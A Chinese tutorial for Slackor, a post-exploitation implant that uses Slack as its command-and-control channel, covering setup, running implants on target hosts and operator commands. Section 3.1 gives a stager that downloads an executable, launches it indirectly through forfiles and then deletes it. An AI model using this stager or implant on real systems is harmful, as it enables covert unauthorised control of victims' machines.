Slackor 项目使用教程

1. 项目介绍

Slackor 是一个使用 Golang 编写的后渗透植入工具，它利用 Slack 作为命令和控制（C2）通道。该项目灵感来源于 Gcat 和 Twittor。Slackor 旨在作为一个概念验证工具，使用前请务必阅读并理解 Slack 应用开发者政策。

2. 项目快速启动

2.1 环境准备

• 一个 Slack 工作区
• 注册一个具有以下权限的 Slack 应用：
  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read
• 创建一个机器人

2.2 安装依赖

go get github.com/Coalfire-Research/Slackor
cd $GOPATH/src/github.com/Coalfire-Research/Slackor
./install.sh

2.3 配置和启动

1. 运行 setup.py 脚本，提供 OAuth Access Token 和 Bot User OAuth Access Token。
2. 成功运行脚本后，将在 dist/ 目录下生成多个文件，包括不同平台的植入文件。
3. 在 Linux 主机上启动 server.py。
4. 在目标主机上执行相应的植入文件。

./setup.py
python3 server.py

3. 应用案例和最佳实践

3.1 生成一次性下载器

使用 stager 模块生成一次性下载器，例如：

iwr [URL] -o C:\Users\Public\[NAME].exe
forfiles /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME].exe
timeout 2 & del C:\Users\Public\[NAME].exe

3.2 常用命令

• help：显示帮助菜单
• interact：与代理交互
• list：列出所有注册的代理
• remove：终止并移除代理
• revive：向所有代理发送重新注册信号
• stager：生成一次性下载器
• quit：退出程序
• wipefiles：删除 Slack 中上传的所有文件

4. 典型生态项目

• Gcat：一个使用 Gmail 作为 C2 通道的工具。
• Twittor：一个使用 Twitter 作为 C2 通道的工具。
• Merlin：一个使用 HTTP/S 作为 C2 通道的 Golang 工具。

通过这些生态项目，可以扩展 Slackor 的功能和应用场景，进一步提升其在后渗透测试中的实用性。